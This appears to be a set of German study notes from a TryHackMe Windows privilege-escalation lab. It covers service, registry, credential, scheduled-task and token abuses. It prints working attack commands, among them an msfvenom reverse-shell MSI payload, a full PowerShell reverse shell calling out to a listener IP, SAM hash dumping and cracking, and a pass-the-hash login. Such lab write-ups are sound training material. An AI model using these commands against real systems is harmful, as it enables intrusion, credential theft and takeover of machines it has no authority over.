Windows Privilege Escalation

Bevorzugter Raum ist https://tryhackme.com/room/windows10privesc, aber du kannst auch etwas anderes deiner Wahl verwenden.
Einige Ressourcen,

Arten von Konten auf Windows-Rechnern:

Administrator (lokal): Dies ist der Benutzer mit den meisten Rechten.
Standard (lokal): Diese Benutzer können auf den Computer zugreifen, aber nur begrenzte Aufgaben ausführen. In der Regel können diese Benutzer keine dauerhaften oder wesentlichen Änderungen am System vornehmen.
Gast: Dieses Konto gewährt Zugriff auf das System, ist aber nicht als Benutzer definiert.
Standard (Domäne): Active Directory ermöglicht Organisationen die Verwaltung von Benutzerkonten. Ein Standard-Domänenkonto kann lokale Administratorrechte haben.
Administrator (Domäne): Kann als der Benutzer mit den höchsten Rechten angesehen werden. Es kann andere Benutzer in der gesamten Organisationsdomäne bearbeiten, erstellen und löschen.
SYSTEM : Dies ist kein Konto im eigentlichen Sinne, aber Windows-Dienste nutzen dieses Konto für ihre Aufgaben, doch selbst dieses Konto hat höhere Rechte.

Ein wichtiger Punkt, den man beachten sollte, sind Gruppen: Jeder Benutzer der Gruppe Administratoren hilft uns bei der Eskalation!

Informationssammlung:

Eine der besten Ressourcen: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

whoami /priv - Rechte des aktuellen Benutzers
net users - listet alle Benutzer auf
net user <username> - listet Details eines bestimmten Benutzers auf
qwinsta - Andere Benutzer, die gleichzeitig angemeldet sind
net localgroup - Im System verfügbare Gruppen
net localgroup <group-name> - listet Mitglieder einer bestimmten Gruppe auf
systeminfo - liefert alle Informationen über das Betriebssystem
hostname - Hostname des Systems
findstr /si password *.txt - wir suchen nach Dateien, die "password" enthalten, und zwar in Textdateien
wmic qfe get Caption,Description,HotFixID,InstalledOn - zeigt Informationen zu Sicherheitspatches und damit zusammenhängende Informationen
netstat -ano - mit dem Rechner verbundene Verbindungen

Windows Exploit Suggester:

Dies ist ein legendäres Tool, das die meisten Leute verwenden
Mit diesem Tool können wir 60% der Boxen im Internet lösen
Link: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Du brauchst lediglich eine Kopie der Ausgabe des systeminfo-Tools auf deinem Rechner – das ist die einzige Voraussetzung für dieses Tool
Profi-Tipp: Stelle sicher, dass alle Abhängigkeiten erfüllt sind!

Verwundbare Software:

Hier versuchen wir, die installierte Softwareversion zu finden und zu prüfen, ob sie verwundbar ist oder nicht
wmic product get name,version,vendor - liefert Produktname, Version und Hersteller. Dieser spezielle Befehl liefert eine ordentliche Darstellung dessen, was wir brauchen.
Manchmal funktioniert der obige Befehl nicht, also verwende wmic service list brief | findstr "Running" und um weitere Informationen über den Dienst zu erhalten, verwende sc qc <ServiceName>

Privilege Escalation mit Metasploit:

Nachdem du eine Session in Metasploit erhalten hast, führe das Modul post/multi/recon/local_exploit_suggester aus. Stelle sicher, dass deine Session im Hintergrund läuft, damit dieses Tool ordnungsgemäß funktioniert, oder du kannst es einfach aus Meterpreter laden.
Dann werden einige Module vorgeschlagen, die ausgenutzt werden können. Probiere sie aus – einige könnten funktionieren (optional).

WinPEAS:

Dies ist ein automatisiertes Enumeration-Skript, das ziemlich hilfreich ist.
Für die beste Nutzung sieh dir alle Optionen an, indem du winpeas.exe --help ausführst.
Führe nur die benötigten Optionen aus und optimiere die Ausgabe.

Kernel-Exploit:

Verwende dieses spezielle Tool namens Windows Exploit Suggester
Zuerst erhältst du die Systeminformationen, indem du den Befehl systeminfo ausführst, und kopierst diese in eine beliebige Datei und benennst sie mit der Endung .txt
Führe nun das Tool mit der Datenbank aus
Suche hier nach den kernelbezogenen Exploits.
Viel Spaß beim Hacken!!

Dienst-Exploits:

Unsichere Dienstberechtigungen:

Hier versuchen wir, Dienste mit unsicheren Berechtigungen zu identifizieren und diese dann auszunutzen.
Hier können wir den Befehl winpeas.exe servicesinfo verwenden und sehen uns die Dienste an, die ziemlich hilfreich sind
Ein interessanter Teil der Ausgabe sieht so aus,```

daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

- Aber um weitere Informationen zu erhalten, können wir ein von Microsoft stammendes Tool namens **accesschk** verwenden. Führen Sie es wie folgt aus: `accesschk.exe /accepteula -uwcqv <current-user> <service>`. Die Ausgabe ist:```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

Aber der Hauptteil ist service_change_config, womit wir die Konfiguration des Dienstes ändern können.
Führen Sie sc qc <service> aus und notieren Sie dann den Binary_path_name (dieser kann auch als binpath bezeichnet werden), den wir ändern werden (böses Lächeln).
Erstellen Sie nun einen Payload vom Typ Shell und übertragen Sie ihn auf den Zielcomputer.
Syntax zum Ändern der Konfiguration: sc config <service> <option>="<value>"
Führen Sie nun sc config daclsvc binpath="<path>" aus und starten Sie dann den Dienst sc start daclsvc.

Unquoted Service Path:(USP)

Bei Diensten muss der Pfad in Anführungszeichen gesetzt werden. Ist er nicht so eingeschlossen, können wir diese Lücke ausnutzen und hohe Privilegien erlangen.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- Um weitere Informationen zu erhalten, verwende einfach das **WinPEAS**-Skript mit der Option `servicesinfo`. Hier können wir sehen, ob wir einen **Unquoted Service Path** ausnutzen können. Hier habe ich das Tool ausgeführt und der interessante Teil der Ausgabe sieht wie folgt aus,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected

Die Ausgabe hier zeigt eindeutig No quotes and Space Detected, sodass wir schlussfolgern können, dass wir diesen speziellen Dienst mithilfe von USP ausnutzen können.
Um weitere Informationen zum Dienst zu erhalten, verwende sc qc <service>
Nun prüfen wir die Berechtigungen für diesen bestimmten Pfad C:\Program Files\Unquoted Path Service mit accesschk. Führe dazu accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" aus. Ausgabe:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators

- Wir haben Lese- und Schreibrechte.
- Jetzt erstellen wir einen Payload und legen ihn in `C:\Program Files\Unquoted Path Service` ab, mittels `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`. Hier verwende ich einen anderen Namen, was auch einen Vorteil bei der alphabetischen Reihenfolge hat.
- Jetzt starten wir den Dienst, `sc start unquotedsvc`, wir sind Admin!!!

-----------------------
### Schwache Registry-Berechtigungen:
- Hier werden wir versuchen, Dienste mit schwachen Registry-Berechtigungen auszunutzen.
- Um danach zu suchen, müssen wir `Winpeas` mit der Option `servicesinfo` verwenden. Die Ausgabe sieht ähnlich aus wie folgt:```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

Nun gehen wir zum Namen des Dienstes, der regsvc ist, also lass uns tiefer in diesen Dienst eintauchen, also führe sc qc regsvc aus und die Ausgabe ist,``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

- Ein cooler Fakt ist, dass der Pfad in Anführungszeichen steht, also kein **Unquoted Service Path**.
- Jetzt lass uns `accesschk.exe` ausführen und tiefer graben, also führe `accesschk /acceptula -uvwqk <path of registry>` aus (das ist `HKLM\system\currentcontrolset\services\regsvc`).
- Suche in der Ausgabe nach `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` und schon können wir es ausnutzen.
- Nun lass uns die Optionen in der Registrierung ansehen, indem wir `reg query HKLM\system\currentcontrolset\services\regsvc` verwenden, und ich habe eine Option namens `ImagePath` gefunden, die einen ausführbaren Wert akzeptiert. Also lass uns das ausnutzen. Erstelle zuerst eine Reverse-Shell.
- Jetzt führe `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` aus, wähle den Pfad der Payload nach deinen Anforderungen.
- Jetzt starte den Dienst mit `net start regsvc` und hurra! Ich habe die Shell.

-----------------------
### Unsichere Dienst-Executables:
- Hier sind die Dateiberechtigungen eines Dienstes für alle zugänglich! Wir versuchen, die ausführbare Datei des Dienstes zu ändern, und schon können wir loslegen!
- Lass uns **Winpeas** speziell mit dem **servicesinfo**-Modul ausführen und schauen, ob etwas Interessantes dabei ist, und die Ausgabe ist:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

Jeder hat Zugriff auf die Datei für den Dienst filepermsvc, also erstellen wir einen reverse_shell-Payload und ersetzen damit die ausführbare Datei des Dienstes, und wir erhalten eine Shell.
Das ist im Vergleich zu oben ziemlich einfach.

Registry

Hier nutzen wir die Registry, um Informationen zu finden, und wir versuchen, sie auszunutzen!
Wir prüfen nur die Funktionen, die wir missbrauchen können.

Autoruns:

Autoruns ist eine Funktion in Windows, die beim Start einige Dienste oder Anwendungen startet, zum Beispiel „greenshot".
Wir können sie manuell überprüfen, indem wir reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ausführen - dies zeigt Autostart-Programme und ihre Pfade an.
Die Ausgabe ist:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"

- Wir haben 2 Programme mit Pfad, also lasst uns testen.
- Jetzt führen wir **accesscheck** aus, um zu prüfen, welche Berechtigungen für den Dateipfad dieser Autostart-Einträge verfügbar sind.
- Führe einfach `accesschk.exe \accepteula -wvu "<path>"` aus. Ich habe das für den Autostart-Pfad von **My Program** ausgeführt und die Ausgabe zeigte `FILE_ALL_ACCESS`, wir können also buchstäblich alles in diesem Ordner tun. Hauptsächlich können wir die ursprüngliche ausführbare Datei ersetzen und das System neu starten, und dann erhalten wir die Shell.
- Nun müssen wir warten, bis sich der Admin anmeldet, und wir erhalten die Shell als privilegierter Benutzer!
- Der Haken ist, dass wir warten müssen, bis sich der Admin/Besitzer anmeldet, und dann sind wir startklar!

------------------------------
### AlwaysInstallElevated
- Es erlaubt Standardbenutzern, **msi**-Pakete (Microsoft Installer) mit Administratorrechten zu installieren.
- Das ist cool und ein einfacher Weg, um höhere Privilegien zu erlangen.
- Wir können das mit folgendem Befehl überprüfen:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` und
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Führe beide Befehle aus. Der Wert für **AlwaysInstallElevated** muss 1 oder 0x1 sein. So können wir es bestätigen und weitermachen.
- Erstelle nun eine Reverse-Shell im **msi**-Format, siehe dazu den folgenden Befehl:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Übertrage das nun auf die Windows-Maschine und führe den folgenden Befehl aus:
`msiexec /quiet /qn /i reverse.msi`
- Hurra! Wir haben die Shell als `nt authority\system` erhalten.

------------------
-------------------
## Passwörter:
- Hier suchen wir nach Anmeldeinformationen in der Registrierung, Dateien usw.
- Und wir werden versuchen, uns anzumelden!

----------------------
### Nach Passwörtern in der Registrierung suchen:
- Wir können die Registrierung nach Passwörtern durchsuchen; manchmal finden wir Passwörter anderer Benutzer oder sogar das Passwort des Besitzers.
- Führe `reg query HKLM /f password /t REG_SZ /s` aus. Das liefert alle Details in der Registrierung, die die Zeichenfolge **password** enthalten. Suche, und du könntest es finden! Aber das Traurige ist, dass ich keine finden konnte!
- Führe auch `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
` aus, möglicherweise finden wir einige Informationen.
- Wir können auch unser legendäres Tool **winPEAS** verwenden, mit Optionen wie `windowscreds` – sucht nach Anmeldeinformationen, sowie `filesinfo` – untersucht Dateien und Registrierung auf nützliche Daten (manchmal auch Passwörter).
- Nachdem wir das Passwort erhalten haben – hier ist es `password123` – melden wir uns nun mit Hilfe von **psexec** an (Link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py). Die Syntax lautet `python3 psexec.py [email protected]`. Dann werden wir nach dem Passwort gefragt; gib es ein und wir erhalten Zugriff wie der Admin!

-------------------------
### Passwörter: Gespeicherte Anmeldeinformationen
- Führe zuerst `cmdkey /list` aus. **cmdkey** ist eine Windows-Server-Anwendung, die gespeicherte Benutzernamen und Kennwörter oder Anmeldeinformationen *erstellt, auflistet und löscht*. Durch die Ausführung können wir sehen, welche Anmeldeinformationen von Benutzern gespeichert sind!
- Die Ausgabe ist:```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin

Wir sehen den Benutzer admin, also nutzen wir das runas-Dienstprogramm. Es erlaubt einem Benutzer, bestimmte Tools und Programme mit anderen Berechtigungen auszuführen, als die aktuelle Anmeldung des Benutzers bietet.
Führen wir runas /savecred /user:admin C:\Temp\reverse.exe aus, das verschafft uns die Administratorrechte

Passwörter: SAM(Security Accounts manager)

SAM besteht aus NTLM-Hashes von Windows-Passwörtern; wir haben die Chance, sie zu knacken, aber das ist nicht immer hilfreich, weil wir es mit Hashes zu tun haben!
Aber die Methode zu kennen, hilft auf jeden Fall.
Und in 99 % der Fälle kann die SAM-Datei nicht mit normalen Rechten abgerufen werden, aber hier in der Box hat der Autor eine Kopie der SAM-Datei im Verzeichnis C:\Windows\Repair hinterlegt, damit wir spielen können! In diesem Verzeichnis gibt es 2 Dateien, nämlich SAM und SYSTEM
Wir müssen beide Dateien beschaffen, um sie mit einem Tool namens creddump7(https://github.com/CiscoCXSecurity/creddump7) verwenden zu können. Ich habe sie mithilfe des Meterpreter-Befehls download erhalten.
Jetzt führen wir nach dem Klonen den folgenden Befehl aus: python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM. Er zeigt die Hashes der Benutzer an, die auf der Windows-Maschine verfügbar sind. Die Ausgabe ist:``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

- Speichere jetzt den obigen Inhalt in einer Textdatei und knacke ihn mithilfe von **JohnTheRipper**, die Syntax lautet `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, und es wurde geknackt!```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)

Passwort: Pass the hash attack

Nehmen wir an, dass wir den Hash nicht knacken können, da er nicht in der Wortliste enthalten ist. Dann können wir diesen Angriff Pass the hash verwenden, der es uns ermöglicht, uns mithilfe des Hashs zu authentifizieren!
Also besorgen wir den Hash. Hier melden wir uns als admin an, dessen Hash a9fdfa038c4b75ebc76dc855dd74f0da ist
Zuerst exportieren, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da – hier verwenden wir den Hash zusammen mit der Gruppen-ID
Dann führen wir pth-winexe -U admin% //10.10.213.97 cmd.exe aus; ich habe eine Shell als admin bekommen
Das Tool pth-winexe ist in kali bereits verfügbar.
Falls du nicht weiterkommst, schau hier: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

Geplante Aufgaben ausnutzen:

Wie unter Linux gibt es auch unter Windows geplante Aufgaben.
Um alle geplanten Aufgaben anzuzeigen, führe schtasks /query /fo LIST /V aus
Hier scheint CleanUp.ps1 interessant zu sein, und der Pfad ist C:\DevTools\CleanUp.ps1
Also schauen wir, was wir mit diesem Speicherort sowie mit dieser Datei machen können: accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 – und wir haben alle Rechte zum Lesen, Schreiben usw.
Der Prozess in der Aufgabenbeschreibung ist etwas anders, also habe ich nach einer PowerShell-Reverse-Shell gesucht, und zwar:``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

- Then habe ich es übertragen und als `CleanUp.ps1` umbenannt und eine Verbindung erhalten.

--------------------
---------------------
## Unsichere GUI-Apps:
- Nachdem wir eine RDP-Verbindung erhalten haben, öffnen wir den `Taskmanager` und dort im Tab `Details` sehen wir die Anwendungen und den Benutzer, der sie ausführt.
- Hier haben sie `mspaint.exe` absichtlich so konfiguriert, dass es als Administrator ausgeführt wird, also wird dies unser Ziel sein.
- Da wir mit **Paint** arbeiten, haben wir die Möglichkeit, Dateien zu öffnen. Also öffnen wir `file://c:/windows/system32/cmd.exe` und zack! Wir erhalten die Shell als **Admin**-Benutzer!
- Hier ist die Funktionalität etwas eingeschränkt, da wir nicht immer eine RDP-Verbindung bekommen.

-----------------------
----------------------
## Autostart-Apps:
- Windows verfügt über eine Funktion, die es einigen Apps erlaubt, beim Start ausgeführt zu werden. Wir können diese Funktion ausnutzen.
- Autostart-Apps befinden sich unter `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, das ist der Standardpfad.
- Lass uns prüfen, was wir mit **accesschk.exe** machen können. Führen wir also `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"` aus. Die Ausgabe ist,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone

Hier gibt es ein Skript namens CreateShortcut.vbs, das mit Administratorrechten läuft und dessen Hauptzweck es ist, einen shortcut für die Reverse-Shell zu erstellen, die wir hochgeladen haben.
Übertrage die Payload und führe das Skript aus. Jetzt müssen wir warten, bis sich der Admin anmeldet, und dann erhalten wir die Shell.
Das ist selten und die Chance, dies auszunutzen, ist gering.

Token-Impersonation:

Tokens sind wie Cookies für den Computer. Der Vorteil ist, dass wir nicht jedes Mal Anmeldeinformationen angeben müssen, um sich mit einem Netzwerk zu verbinden usw.
Es gibt 2 Arten von Tokens:

Delegate-Token: wird für die Anmeldung an einem Computer oder die Nutzung einer RDP-Sitzung erstellt
Impersonate-Token: nicht interaktiv, wird verwendet, um ein Netzlaufwerk zu verbinden oder ein Domänen-Anmeldeskript auszuführen.

Wir können alle Tokens anzeigen, indem wir list_tokens -u in einer Meterpreter-Sitzung ausführen. Nachdem wir ein interessantes Token gefunden haben, führen wir impersonate_token <Name des Tokens> aus.
Außerdem können wir whomai /priv ausführen und die Privilegien des aktuellen Benutzers sehen. Wenn wir dort ein Privileg wie SeAssignPrimaryToken usw. finden, ist das ziemlich gefährlich – das ist extrem gefährlich! Um mehr über diese Privilegien zu erfahren und wie man sie ausnutzt, sieh dir diesen Artikel an: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Potato-Angriffe:

Ein Leitfaden für diese Angriffe ist: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
Und die Payload, die wir verwenden können, ist: https://github.com/ohpe/juicy-potato
Hier versuchen wir, Zugriff wie NT Authority/System zu erlangen. [Noch in Arbeit.....]

Beliebteste

Windows-Privilege-Escalation-Notes